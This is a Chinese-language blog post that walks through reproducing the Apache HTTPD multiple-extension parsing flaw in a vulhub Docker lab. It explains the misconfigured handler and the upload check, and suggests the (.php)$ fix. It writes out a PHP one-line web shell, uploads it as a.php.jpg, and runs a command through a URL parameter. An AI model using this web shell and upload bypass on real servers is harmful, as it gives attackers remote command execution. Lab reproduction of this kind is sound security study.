Apache HTTPD 多后缀解析漏洞 漏洞复现

前言

该漏洞并不是apache程序本身的问题,而是管理员配置不当造成。Apache支持一个文件具有多个后缀,并为不同的后缀执行不同的指令。例如以下配置文件:

AddType text/html .html
AddDefaultCharset GB2312 .gb

这个配置文件给 .html后缀添加了媒体格式:text/html,给.gb后缀添加了默认编码:GB2312,如果有一个文件名为 index.gb.html,那么这两个后缀都会生效,它的媒体格式会设置成text/html,默认编码设置成BG2312

常见的媒体格式类型解释:

text/html: HTML格式

text/plain:纯文本格式

image/gif:gif图片格式

application/pdf:pdf格式

application/octet-stream:二进制流数据(常见的文件下载就是这种媒体格式)

漏洞环境

该环境使用vulhub搭建,该漏洞路径为 /vulhub/httpd/apache_parsing_vulnerability。进入该漏洞路径后执行以下命令:

docker-compose up -d

-d 表示后台运行。

注意:该命令必须在漏洞目录下执行,该命令是启动当前目录下的docker容器。

如果不会搭建环境可以参考官方文档:https://vulhub.org/#/docs/

原理分析

启动容器后执行以下命令查看容器ID。

docker ps

在这里插入图片描述

然后执行以下命令进入容器。

docker exec -it 容器ID /bin/bash

exec 表示在容器中执行一个命令,该命令后加容器ID和要执行命令,上面执行的命令就是/bin/bash。
-i 表示即使没有连接,也要保持STDIN打开,也就是一直监听命令的状态。
-t 表示分配一个tty终端设备,加上这个参数就具有按TAB自动补全命令等等功能。

更多详细内容可以参考:
https://blog.csdn.net/qq_40081976/article/details/84590119,docker exec 的使用-it操作。
https://xunyang1.github.io/2021/07/14/docker/,Docker初识。

在这里插入图片描述

进入容器后查看apache2的配置文件:

cat /etc/apache2/conf-available/docker-php.conf

在这里插入图片描述

发现在配置文件中的配置有点问题,文件名只要有.php的后缀就会当成php文件执行,例如 index.php.html就会当成php来执行。将这里的.php改成(.php)$就不会出现这种问题了。然后再查看文件上传功能代码:

(.php)$ 是通过正则表达式匹配.php,其中$代表在字符串的末尾匹配,所以只有.php位于文件名最后,apache才会将该文件以php的方式解析。

cd /var/www/html
cat upload.php

在这里插入图片描述

发现文件上传的代码只会检查文件名最后的一个后缀,所以我们能成功上传 a.php.jpg,而且apache会把这个文件当成php来执行。

漏洞复现

将一句话木马 <?php system($_GET['a']);?>保存为 a.php.jpg,并上传到服务器。

网站地址为靶机IP地址。

可以通过docker ps查看容器的映射的端口。

在这里插入图片描述
在这里插入图片描述

访问一句话木马,并通过a参数传递命令。

http://192.168.119.131/uploadfiles/a.php.jpg?a=id

在这里插入图片描述

命令执行成功!

参考文献

[1] https://blog.csdn.net/qq_40081976/article/details/84590119,docker exec 的使用-it操作
[2] https://blog.csdn.net/weixin_36300275/article/details/118401719,mediatype.text html,你真的了解mediaType吗?
[3] https://xunyang1.github.io/2021/07/14/docker/,Docker初识。

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

rpsate

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值